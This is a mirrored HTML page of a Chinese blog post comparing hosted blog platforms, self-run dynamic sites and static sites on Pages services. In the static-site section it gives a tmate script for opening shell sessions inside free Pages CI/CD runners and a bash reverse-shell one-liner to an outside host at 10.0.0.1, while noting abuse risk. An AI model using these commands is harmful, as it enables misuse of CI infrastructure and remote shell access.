mirror of
https://codeberg.org/mayx/pages
synced 2026-01-02 00:53:41 +08:00
403 lines
33 KiB
HTML
403 lines
33 KiB
HTML
<!DOCTYPE html>
|
||
<html lang="zh-CN">
|
||
<head>
|
||
<meta charset="UTF-8" />
|
||
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
|
||
<meta name="viewport" content="width=device-width, initial-scale=1" />
|
||
|
||
<!-- Begin Jekyll SEO tag v2.8.0 -->
|
||
<title>如何选择合适的博客平台 | Mayx的博客</title>
|
||
<meta name="generator" content="Jekyll v3.9.5" />
|
||
<meta property="og:title" content="如何选择合适的博客平台" />
|
||
<meta name="author" content="mayx" />
|
||
<meta property="og:locale" content="zh_CN" />
|
||
<meta name="description" content="记录，也有很多种方式。" />
|
||
<meta property="og:description" content="记录，也有很多种方式。" />
|
||
<meta property="og:site_name" content="Mayx的博客" />
|
||
<meta property="og:type" content="article" />
|
||
<meta property="article:published_time" content="2021-08-15T00:00:00+08:00" />
|
||
<meta name="twitter:card" content="summary" />
|
||
<meta property="twitter:title" content="如何选择合适的博客平台" />
|
||
<meta name="google-site-verification" content="huTYdEesm8NaFymixMNqflyCp6Jfvd615j5Wq1i2PHc" />
|
||
<meta name="msvalidate.01" content="0ADFCE64B3557DC4DC5F2DC224C5FDDD" />
|
||
<meta name="yandex-verification" content="fc0e535abed800be" />
|
||
<script type="application/ld+json">
|
||
{"@context":"https://schema.org","@type":"BlogPosting","author":{"@type":"Person","name":"mayx"},"dateModified":"2021-08-15T00:00:00+08:00","datePublished":"2021-08-15T00:00:00+08:00","description":"记录，也有很多种方式。","headline":"如何选择合适的博客平台","mainEntityOfPage":{"@type":"WebPage","@id":"/2021/08/15/blog.html"},"publisher":{"@type":"Organization","logo":{"@type":"ImageObject","url":"https://avatars0.githubusercontent.com/u/17966333"},"name":"mayx"},"url":"/2021/08/15/blog.html"}</script>
|
||
<!-- End Jekyll SEO tag -->
|
||
|
||
<link rel="canonical" href="https://mabbs.github.io/2021/08/15/blog.html" />
|
||
<link type="application/atom+xml" rel="alternate" href="/atom.xml" title="Mayx的博客" />
|
||
<link rel="alternate" type="application/rss+xml" title="Mayx的博客(RSS)" href="/rss.xml" />
|
||
<link rel="alternate" type="application/json" title="Mayx的博客(JSON Feed)" href="/feed.json" />
|
||
<link rel="stylesheet" href="/assets/css/style.css?v=1767196818" />
|
||
<!--[if !IE]> -->
|
||
<link rel="stylesheet" href="/Live2dHistoire/live2d/css/live2d.css" />
|
||
<!-- <![endif]-->
|
||
<link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="Mayx的博客" />
|
||
<link rel="webmention" href="https://webmention.io/mabbs.github.io/webmention" />
|
||
<link rel="pingback" href="https://webmention.io/mabbs.github.io/xmlrpc" />
|
||
<link rel="preconnect" href="https://summary.mayx.eu.org" crossorigin="anonymous" />
|
||
<link rel="prefetch" href="https://www.blogsclub.org/badge/mabbs.github.io" as="image" />
|
||
<link rel="blogroll" type="text/xml" href="/blogroll.opml" />
|
||
<link rel="me" href="https://github.com/Mabbs" />
|
||
<script src="/assets/js/jquery.min.js"></script>
|
||
<!--[if lt IE 9]>
|
||
<script src="//cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js"></script>
|
||
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery-ajaxtransport-xdomainrequest/1.0.3/jquery.xdomainrequest.min.js"></script>
|
||
<script src="//cdnjs.cloudflare.com/ajax/libs/respond.js/1.4.2/respond.min.js"></script>
|
||
<![endif]-->
|
||
<script>
|
||
var lastUpdated = new Date("Thu, 01 Jan 2026 00:00:18 +0800");
|
||
var BlogAPI = "https://summary.mayx.eu.org";
|
||
</script>
|
||
<script src="/assets/js/main.js"></script>
|
||
<!--[if !IE]> -->
|
||
|
||
<!-- Global site tag (gtag.js) - Google Analytics -->
|
||
<script async="async" src="https://www.googletagmanager.com/gtag/js?id=UA-137710294-1"></script>
|
||
<script>
|
||
window.dataLayer = window.dataLayer || [];
|
||
function gtag(){dataLayer.push(arguments);}
|
||
gtag('js', new Date());
|
||
gtag('config', 'UA-137710294-1');
|
||
</script>
|
||
|
||
<script src="/assets/js/instant.page.js" type="module"></script>
|
||
<!-- <![endif]-->
|
||
</head>
|
||
|
||
<body>
|
||
<!--[if !IE]> --><noscript><marquee style="top: -15px; position: relative;"><small>发现当前浏览器没有启用JavaScript，这不影响你的浏览，但可能会有一些功能无法使用……</small></marquee></noscript><!-- <![endif]-->
|
||
<!--[if IE]><marquee style="top: -15px; position: relative;"><small>发现当前浏览器为Internet Explorer，这不影响你的浏览，但可能会有一些功能无法使用……</small></marquee><![endif]-->
|
||
<div class="wrapper">
|
||
<header class="h-card">
|
||
<h1><a class="u-url u-uid p-name" rel="me" href="/">Mayx的博客</a></h1>
|
||
|
||
|
||
<img src="https://avatars0.githubusercontent.com/u/17966333" fetchpriority="high" class="u-photo" alt="Logo" style="width: 90%; max-width: 300px; max-height: 300px;" />
|
||
|
||
|
||
<p class="p-note">Mayx's Home Page</p>
|
||
|
||
<form action="/search.html">
|
||
<input type="text" name="keyword" id="search-input-all" placeholder="Search blog posts.." /> <input type="submit" value="搜索" />
|
||
</form>
|
||
<br />
|
||
|
||
|
||
|
||
|
||
|
||
<p class="view"><a class="u-url" href="/Mabbs/">About me</a></p>
|
||
|
||
<ul class="downloads">
|
||
|
||
<li style="width: 270px; border-right: none;"><a href="/MayxBlog.tgz">Download <strong>TGZ File</strong></a></li>
|
||
|
||
</ul>
|
||
</header>
|
||
<section class="h-entry">
|
||
|
||
<small><time class="date dt-published" datetime="2021-08-15T00:00:00+08:00">15 August 2021</time> - 字数统计：5439 - 阅读大约需要16分钟 - Hits: <span id="/2021/08/15/blog.html" class="visitors">Loading...</span></small>
|
||
<h1 class="p-name">如何选择合适的博客平台</h1>
|
||
|
||
<p class="view">by <a class="p-author h-card" href="//github.com/Mabbs">mayx</a></p>
|
||
<div id="outdate" style="display:none;">
|
||
<hr /><p>
|
||
这是一篇创建于 <span id="outime"></span> 天前的文章，其中的信息可能已经有所发展或是发生改变。
|
||
</p>
|
||
</div>
|
||
<script>
|
||
daysold = Math.floor((new Date().getTime() - new Date("Sun, 15 Aug 2021 00:00:00 +0800").getTime()) / (24 * 60 * 60 * 1000));
|
||
if (daysold > 90) {
|
||
document.getElementById("outdate").style.display = "block";
|
||
document.getElementById("outime").innerHTML = daysold;
|
||
}
|
||
</script>
|
||
|
||
<hr />
|
||
|
||
<b>AI摘要</b>
|
||
<p id="ai-output">这篇文章分析了如何选择合适的博客平台，按平台托管、动态网站和静态网站三种类型展开讨论。平台托管适合不想自建平台且接受审查的用户，如博客园和微信公众平台；动态网站虽然自由度高但成本较高，适合有一定技术能力希望自定义功能的人，如WordPress；静态网站包括纯静态、静态网页生成和前后端分离等形式，优点是SEO友好且节省资源，常用pages服务如Github Pages、Gitlab Pages、Vercel等。文章还强调了平台的局限性和安全性问题，指出前端服务尽管便利但有滥用风险。作者个人偏好Github Pages因其多仓库部署的灵活性。总之，选择博客平台需考虑作者技能、成本、自由度、安全性以及访问需求。</p>
|
||
|
||
<hr />
|
||
|
||
|
||
|
||
<ul><li><a href="#起因">起因</a></li><li><a href="#不同博客的特点">不同博客的特点</a><ul><li><a href="#1平台托管">1、平台托管</a><ul><li><a href="#平台托管的网站示例">平台托管的网站示例</a></li></ul></li><li><a href="#2动态网站">2、动态网站</a></li><li><a href="#3静态网站">3、静态网站</a><ul><li><a href="#我的pages服务示例">我的Pages服务示例</a></li></ul></li></ul></li><li><a href="#可能是未来的博客类型">可能是未来的博客类型</a></li><li><a href="#未来的计划">未来的计划</a></li></ul>
|
||
<hr />
|
||
|
||
|
||
<main class="post-content e-content" role="main"><p>记录，也有很多种方式。<!--more--></p>
|
||
<h1 id="起因">
|
||
|
||
|
||
<a href="#起因"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 起因
|
||
|
||
|
||
</h1>
|
||
|
||
<p>我建立这个博客也有3年左右的时间了，为什么现在会想写这样的文章呢？主要是现在各种各样神奇的服务和概念出现，不得不让我仔细分析其中的奥秘，而且在这几年我也有了一定的成长，也发现了很多有趣的东西，另外最主要的是我想实现Mayx Forever计划，所以研究一下不同平台之间的差别。</p>
|
||
<h1 id="不同博客的特点">
|
||
|
||
|
||
<a href="#不同博客的特点"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 不同博客的特点
|
||
|
||
|
||
</h1>
|
||
|
||
<p>作为博客，它的本质也不过是一个用来记录和展示自己写的文章的程序。另外从作者来说，一般也分为平台托管、动态网站和静态网站三种。所以今天我就从这三点来分析一下。</p>
|
||
<h2 id="1平台托管">
|
||
|
||
|
||
<a href="#1平台托管"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 1、平台托管
|
||
|
||
|
||
</h2>
|
||
|
||
<p>平台托管即没有程序的所有权，仅有平台提供功能的使用权。这也就是说数据库、处理程序和界面通常都是由平台提供，博主几乎没有修改它们的权力，这也说明博主在这里几乎除了写文章之外什么也做不了。不过有些博客平台会提供界面的修改权，一种是仅能从有限的模板中选择，另外一种就是允许博主自己写CSS和JS来操作界面，这种自由性更高，不过因为这样通常比较危险，大多数博客平台是不提供这种功能的。 </p><p>
|
||
这种博客对不太懂计算机，或者只想写文章的人比较友好，基本上只需要注册账号，平台就允许你写文章并发布了，而且一般都有自带的评论系统，良好的文章编辑器，大多数都免费，相对还是很友好的。比较常见的有Blogspot(Google Blogger)、WordPress.com、FC2、博客园、QQ空间、微信公众平台、Bilibili专栏、CSDN等等。从自由度来说，在这些平台中有些是允许自定义域名的，这种算是比较良心的平台，另外也有花钱就能自定义域名的，可惜中国的平台均不支持自定义域名，另外国内的平台均有非常严格的审查，平台可以随意的处置你的文章，不过国外的好多博客平台都被中国防火长城拦截了，没办法用。当然也不是说国外的博客没有审查，大多数情况只要你不写对恐怖分子可能造成帮助的、带有儿童色情的、或者违反DMCA的，基本上平台都是不会管的。 </p><p>
|
||
所以从此来看，如果是懒得自己搭平台、不会搭、不想花钱、又希望国内的用户可以看到，还觉得自己写的文章能接受国内的审查，我个人建议使用博客园，博客园允许博主修改界面，相对来说比较自由一些。不过之前博客园炸过一次，我现在不是很相信他们了。所以如果想保留的更久一些，可能微信公众平台会更好一些，毕竟微信也算中国的国民级应用，一般来说很难倒闭。 </p><p>
|
||
如果不能接受审查，又希望能在中国访问，这个难度就比较大，WordPress.com这个可以碰碰运气，但是它有广告，不太推荐。不过基本上是做不到，毕竟国内平台必有审查，国外平台没有审查大多数情况都会有国内不能接受的东西，然后就会被Ban。所以平台也就是有这个缺陷，它的限制比较多。 </p><p>
|
||
如果不考虑国内访问的话，我觉得Blogspot是最好的选择，同样可以自定义界面，另外Google作为网络巨头来说也很难倒闭，所以如果追求稳定的话我觉得选择Blogspot是很不错的。</p>
|
||
<h3 id="平台托管的网站示例">
|
||
|
||
|
||
<a href="#平台托管的网站示例"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 平台托管的网站示例
|
||
|
||
|
||
</h3>
|
||
|
||
<p>我之所以写这篇文章也是因为试着用了好多平台，以下都是我注册的博客，如果有必要的话说不定我也会用它们：</p><p>
|
||
<a href="https://unmayx.blogspot.com/">https://unmayx.blogspot.com/</a></p><p>
|
||
<a href="https://unmayx.blog.fc2blog.us/">https://unmayx.blog.fc2blog.us/</a></p><p>
|
||
<a href="https://unmayx.wordpress.com/">https://unmayx.wordpress.com/</a></p><p>
|
||
<a href="https://mayx.cnblogs.com/">https://mayx.cnblogs.com/</a></p>
|
||
<h2 id="2动态网站">
|
||
|
||
|
||
<a href="#2动态网站"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 2、动态网站
|
||
|
||
|
||
</h2>
|
||
|
||
<p>动态网站即界面是由程序根据数据库的内容实时生成，而且通常有一定交互性的网站。一般这种的博客都是脱离了平台的，所以这种算是独立博客了（静态博客也是）。这种博客一般数据库、程序和界面博主都有完全的所有权，所以自由度更大，而且因为程序在手中，所以想加功能也是非常简单的，比如加一个讨论或者爬虫的功能一般只需要安装插件就可以完成。又因为数据库也在手中，所以也不需要担心文章被删除的问题。既然这么好那么问题在哪里呢？那就是一般要花钱。建立动态网站通常需要服务器和域名，目前大多数的服务器和域名都不是免费的，所以动态博客有成本，在三种方案里是最贵的。 </p><p>
|
||
不过平台托管其实也是动态网站，为什么它就可以免费呢？其实原因很简单，首先是边缘成本的问题，租一台服务器是很贵，但是如果十个人共用这一台服务器就会便宜很多，又因为平台托管下的文章实际上是属于平台的，所以其实这波平台得到的更多，毕竟只需要租几台服务器，搭一个平台就能获得一大堆免费的劳动力在自己的平台上写文章。要知道杂志收录文章都是要花钱的，博客平台就光提供了个平台就把广告费、推广费啥的赚上了。 </p><p>
|
||
所以从这一点来看的话，为了保证自己文章的安全，自己搭博客更好，假如做的好，自己打广告钱也都是进的自己的口袋，这有点像小商店和电商的感觉了。不过大多数人写博客也不是为了赚钱，像我也不是为了赚钱写博客，到现在我写了几十篇文章也没人给我打赏😂。 </p><p>
|
||
目前来看大多数的博客引擎都是PHP或者Node.js写的，因为它们的性能很好而且扩展性很强。像全世界最流行的博客引擎<a href="https://github.com/WordPress/WordPress">WordPress</a>就是PHP编写的。这里的WordPress和上面的WordPress.com平台不一样，这里的WordPress是开源软件，可以自己使用的一个引擎。像新手用WordPress就是一个很好的选择，它的功能很强大，操作起来也很简单，除了第一次部署PHP环境可能比较麻烦，剩下的写文章、换模板、装插件全部都可以在网页中直接操作，非常方便。另外也有很多PHP环境的虚拟空间，如果自己不想租服务器也可以直接租虚拟空间，这样也会更加便宜，操作也更简单。实际上也有些免费的PHP虚拟空间，不过现在是越来越少了，我用的几个都要消失不见了。Node.js的话倒是由于最近比较火，免费的还挺多，比如Glitch.me和CloudFlare Workers，另外Workers准确来说其实是云函数，算在Serverless里。另外我个人非常不赞同使用编译型语言写的博客引擎，比如Golang写的，这种的博客可扩展性非常差，而且性能怎么样也比不上静态网站，毕竟就算不考虑处理速度，Golang写的博客引擎能比C写的Nginx性能强？ </p><p>
|
||
不过自己建动态网站也有个缺陷就是性能会比较差，如果直接用服务器的话被攻击基本上都是直接宕机，除非用防火墙，国外免费的防火墙CloudFlare因为审查的原因速度又太慢了，国内的话防火墙又太贵了。另外虽然建独立博客没有审查，但是在国内的网站都需要备案，如果有比较敏感的内容还是会被撤销备案，而且服务器也有可能会被封，除此之外个人备案还有一个很糟糕的地方就是不允许使用带有交互性的功能，比如说评论之类的，这就导致在国内的实际体验可能还不如平台托管的好。</p>
|
||
<h2 id="3静态网站">
|
||
|
||
|
||
<a href="#3静态网站"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 3、静态网站
|
||
|
||
|
||
</h2>
|
||
|
||
<p>静态网站一般也分为几种，第一种叫纯静态网站，即写的网站程序是纯静态的，如果写博客可能是由JS用AJAX来调用Markdown文件渲染的形式，这种一般会用SPA的形式，比较经典的例如<a href="https://github.com/Dynalon/mdwiki">MDwiki</a>，可惜不更新了，这种的比较复杂，一般只有前端大佬会用，另外这种的SEO效果会比较差。第二种叫静态网页生成，这种和纯前端的区别在于它写的文件并不能直接发布，而是用一些生成器调用模板来生成可以发布的网页。这种的好处就是在上一种的基础上提高了SEO的效果，降低了网站的开发难度，也降低了对客户端性能的消耗。我目前的博客就是使用这种方案，用的生成器叫做<a href="https://github.com/jekyll/jekyll">Jekyll</a>，除了Jekyll之外还有比如<a href="https://github.com/hexojs/hexo">Hexo</a>、<a href="https://github.com/gohugoio/hugo">Hugo</a>等等。第三种则是相对增强的，即前后端分离类型，把一些前端实在无法完成的任务交给后端来做。这里的后端可以是任何语言写的，比如我以前写的<a href="/2019/06/22/counter.html">博客计数器</a>，也不限运行的方式，比如Serverless也可以。 </p><p>
|
||
由于近期前端很火，所以最近各种Pages服务就冒了出来，因为纯前端页面几乎不耗费服务器资源，所以很多公司都愿意免费提供这种服务。然后现在CI/CD也很火，结果就有很多Pages服务就把这些东西全绑上，形成了一套很完整的系统。比如说各种模仿Github Pages的Gitlab Pages、Gitee Pages，还有Vercel、Cloudflare Pages等等，可以说是百花齐放了。当然如果不想用这些服务，用自己的服务器上面架静态网站也没有问题。我当时用Github Pages做博客的时候还没有这些服务呢，当然我现在也不打算换就是了。 </p><p>
|
||
目前来看除了Github Pages是只支持Jekyll，不支持执行其他网页生成器之外，其他的服务都支持完整的CI/CD。不过Github有Actions，真想搞也不是不行，就是有点麻烦，像我以前做的<a href="/pixiv-index/">Pixiv索引</a>就是基于Github的Actions+Pages服务做的。不过当时我做博客的时候也没有Actions来着😂，我当时做<a href="/MayxDaily/">Mayx的日报</a>的时候就用的是第三方的Travis-CI服务。 </p><p>
|
||
不过既然有CI/CD，那就有滥用的风险，我以前试过用<a href="https://github.com/tmate-io/tmate">tmate</a>连接过那些Pages服务的CI/CD，具体的话大家可以用以下脚本连接：</p>
|
||
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>
|
||
<span class="c"># Generate ssh key if needed</span>
|
||
<span class="nb">mkdir</span> ~/.ssh
|
||
<span class="o">[</span> <span class="nt">-e</span> ~/.ssh/id_rsa <span class="o">]</span> <span class="o">||</span> ssh-keygen <span class="nt">-t</span> rsa <span class="nt">-f</span> ~/.ssh/id_rsa <span class="nt">-q</span> <span class="nt">-N</span> <span class="s2">""</span>
|
||
|
||
<span class="c"># Run deamonized tmate</span>
|
||
<span class="nb">echo </span>Running tmate...
|
||
<span class="nb">chmod </span>777 ./tmate
|
||
./tmate <span class="nt">-S</span> /tmp/tmate.sock new-session <span class="nt">-d</span>
|
||
./tmate <span class="nt">-S</span> /tmp/tmate.sock <span class="nb">wait </span>tmate-ready
|
||
|
||
<span class="c"># Print connection info</span>
|
||
<span class="nb">echo </span>________________________________________________________________________________
|
||
<span class="nb">echo
|
||
echo </span>To connect to this session copy-n-paste the following into a terminal:
|
||
./tmate <span class="nt">-S</span> /tmp/tmate.sock display <span class="nt">-p</span> <span class="s1">'#{tmate_ssh}'</span>
|
||
|
||
<span class="k">while</span> <span class="o">[</span> <span class="nt">-S</span> /tmp/tmate.sock <span class="o">]</span>
|
||
<span class="k">do
|
||
</span><span class="nb">sleep </span>1
|
||
<span class="k">done</span>
|
||
</code></pre></div></div>
|
||
<p>这个方法是手头没服务器的用，不过不得不说tmate还挺好用的。有服务器的话建议用<code class="language-plaintext highlighter-rouge">bash -i >& /dev/tcp/10.0.0.1/8080 0>&1</code>一键反弹，然后用python的pty库升级成正常的shell就行了。 </p><p>
|
||
我大概看了一下，Vercel的部署服务器性能貌似是最好的，Cloudflare Pages和Github Actions的配置一样，有可能都是用的Azure云，虽然有滥用的风险，但是不鼓励大家去滥用。像之前我就有看新闻说有些人用Github Actions挖矿，虽然这些服务确实让很多前端开发者享受到了便利，但是被滥用还是挺糟糕的。 </p><p>
|
||
不过今天讲的是建博客，有点跑题了😂。不过也正是那些限制很少的CI/CD，可以让我们很方便的去部署我们的静态网站，无论用npm打包js，还是自动爬取页面缓存，或者正常点，用Hexo生成博客，都只需要我们直接配置好，就可以直接使用了。 </p><p>
|
||
既然其他Pages服务那么好我为什么还在用Github Pages呢？这是因为Github可以部署很多仓库到网站。其他的Pages服务部署都是各自是各自的域名，但是Github Pages就能直接在同域名下访问其他我开了Pages服务的仓库。 </p><p>
|
||
不过静态网站虽然优点很明显，节省服务器资源，但是问题就是在于它不太适合小白，虽然说现在部署一个博客也很简单，去Github上面Fork一个自己喜欢的模板，然后再选择自己喜欢的Pages服务提供商配置一下就好了，但是首先Github对小白操作也不那么容易，搜模板不能像WordPress那样可以预览，能不能用全看作者怎么写的，另外写文章也没办法做到所见即所得，毕竟Markdown语法虽然很简单但是还是需要记的，不能点一下就OK，然后就是各种功能的实现也很复杂，像我博客上的<a href="/2021/07/23/search.html">搜索</a>、<a href="/2019/06/22/counter.html">计数器</a>、<a href="/2019/06/11/encrypt.html">加密</a>、<a href="/2018/10/20/talk.html">评论</a>实现起来都很不容易，不像动态网站那样直接CRUD一把梭，这些用动态网站实现起来就简单很多。 </p><p>
|
||
如果说大家想建一个可以在国内方便访问的静态博客，我个人建议用Gitee的，稳定性还不错。国外的话可能Cloudflare Pages更好一些，主要是我比较喜欢那个域名，就是部署的速度有点太慢了，访问速度还是挺不错的。</p>
|
||
<h3 id="我的pages服务示例">
|
||
|
||
|
||
<a href="#我的pages服务示例"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 我的Pages服务示例
|
||
|
||
|
||
</h3>
|
||
|
||
<p><a href="https://mayx.pages.dev/">https://mayx.pages.dev/</a></p><p>
|
||
<a href="https://mayx.vercel.app/">https://mayx.vercel.app/</a></p><p>
|
||
<a href="https://mabbs.github.io/">https://mabbs.github.io/</a></p>
|
||
<h1 id="可能是未来的博客类型">
|
||
|
||
|
||
<a href="#可能是未来的博客类型"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 可能是未来的博客类型
|
||
|
||
|
||
</h1>
|
||
|
||
<p>无论是哪家服务，都有消失的可能性，多大的公司也可能会因为微小的概率而倒闭。所以以后有可能会出现一种不一样的博客平台，它可能是在IPFS上面的，前段时间我<a href="/2021/06/10/distributed.html">研究去中心化的分布式系统</a>的时候也提到，到了未来说不定可以实现一个大家共同维护的系统。之前我有看见一个很有意思的项目<a href="https://github.com/NaturalSelectionLabs/RSS3">RSS3</a>，这是一个可以在区块链上面开博客的协议，看起来还是挺有意思的，如果真的能实现，也许我就能完成我的Mayx Forever计划了呢😁。</p>
|
||
<h1 id="未来的计划">
|
||
|
||
|
||
<a href="#未来的计划"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 未来的计划
|
||
|
||
|
||
</h1>
|
||
|
||
<p>我之后可能会想个办法把我的博客发布到上面我提到的所有平台，这样说不定只要人类文明还存在，我的博客就还存在吧😂。看看<a href="https://archiveprogram.github.com/">GitHub Archive Program</a>和Mayx Forever Project哪个能存活的时间更长😁。</p></main>
|
||
|
||
|
||
<small style="display: block">tags: <a rel="category tag" class="p-category" href="/search.html?keyword=%E5%8D%9A%E5%AE%A2"><em>博客</em></a> <span style="float: right;"><a href="https://gitlab.com/mayx/mayx.gitlab.io/tree/master/_posts/2021-08-15-blog.md">查看原始文件</a></span></small>
|
||
|
||
|
||
<h4 style="border-bottom: 1px solid #e5e5e5;margin: 2em 0 5px;">推荐文章</h4>
|
||
<p id="suggest-container">Loading...</p>
|
||
<script>
|
||
var suggest = $("#suggest-container");
|
||
$.get(BlogAPI + "/suggest?id=/2021/08/15/blog.html&update=" + lastUpdated.valueOf(), function (data) {
|
||
if (data.length) {
|
||
getSearchJSON(function (search) {
|
||
suggest.empty();
|
||
var searchMap = {};
|
||
for (var i = 0; i < search.length; i++) {
|
||
searchMap[search[i].url] = search[i];
|
||
}
|
||
|
||
var tooltip = $('<div class="content-tooltip"></div>').appendTo('body').hide();
|
||
for (var j = 0; j < data.length; j++) {
|
||
var item = searchMap[data[j].id];
|
||
if (item) {
|
||
var link = $('<a href="' + item.url + '">' + item.title + '</a>');
|
||
var contentPreview = item.content.substring(0, 100);
|
||
if (item.content.length > 100) {
|
||
contentPreview += "……";
|
||
}
|
||
link.hover(
|
||
function(e) {
|
||
tooltip.text($(this).data('content'))
|
||
.css({
|
||
top: e.pageY + 10,
|
||
left: e.pageX + 10
|
||
})
|
||
.show();
|
||
},
|
||
function() {
|
||
tooltip.hide();
|
||
}
|
||
).mousemove(function(e) {
|
||
tooltip.css({
|
||
top: e.pageY + 10,
|
||
left: e.pageX + 10
|
||
});
|
||
}).data('content', contentPreview);
|
||
|
||
suggest.append(link);
|
||
suggest.append(' - ' + item.date + '<br />');
|
||
}
|
||
}
|
||
});
|
||
} else {
|
||
suggest.html("暂无推荐文章……");
|
||
}
|
||
});
|
||
</script>
|
||
|
||
<br />
|
||
<div class="pagination">
|
||
|
||
